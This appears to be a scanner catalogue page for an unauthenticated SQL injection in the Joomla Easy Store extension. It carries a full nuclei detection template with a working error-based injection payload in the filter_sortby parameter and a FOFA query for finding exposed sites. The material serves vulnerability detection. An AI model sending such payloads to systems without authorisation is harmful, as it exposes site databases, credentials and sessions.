Joomla Easy Store - SQL Injection

criticalseverity

9.8CVSS score

1%likelihood of exploitation, next 30 days

65%of all CVEs are less likely

Readycheck to confirm it

Joomla Easy Store extension 1.0.0-2.0.1 contains an unauthenticated SQL injection caused by improper validation of order parameters, letting unauthenticated attackers read the full database including credentials and sessions.

Impact

Unauthenticated attackers can read the entire database, exposing sensitive data including credentials and session information.

Fix

Update to the latest version of Easy Store extension.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_easystore&view=products&task=search&filter_sortby=created-ASC,EXTRACTVALUE(1,CONCAT(CHAR(126),SUBSTRING(MD5({{num}})…
Positive when: status_code == 500 and contains_all(body, substr(md5(num), 0, 28), "XPATH syntax error")

Run it with nuclei: nuclei -id CVE-2026-65761 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-65761

info:
  name: Joomla Easy Store - SQL Injection
  author: YesWeHack
  severity: critical
  description: |
    Joomla Easy Store extension 1.0.0-2.0.1 contains an unauthenticated SQL injection caused by improper validation of order parameters, letting unauthenticated attackers read the full database including credentials and sessions.
  impact: |
    Unauthenticated attackers can read the entire database, exposing sensitive data including credentials and session information.
  remediation: |
    Update to the latest version of Easy Store extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-65761
    - https://mysites.guru/blog/easystore-security-disclosure/
    - https://www.joomshaper.com/easystore
  classification:
    cve-id: CVE-2026-65761
    epss-score: 0.01045
    epss-percentile: 0.64428
    cwe-id: CWE-89
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cpe: cpe:2.3:a:joomshaper.com:easy_store_extension_for_joomla:*:*:*:*:*:*:*:*
  metadata:
    max-requests: 1
    vendor: JoomShaper
    product: Easy Store
    fofa-query: app="joomla" && body="Easy Store"
  tags: cve,cve2026,joomla,easystore,sql-injection,unauthenticated,vkev

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_easystore&view=products&task=search&filter_sortby=created-ASC,EXTRACTVALUE(1,CONCAT(CHAR(126),SUBSTRING(MD5({{num}}),1,28)))--+-"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, substr(md5(num), 0, 28), "XPATH syntax error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from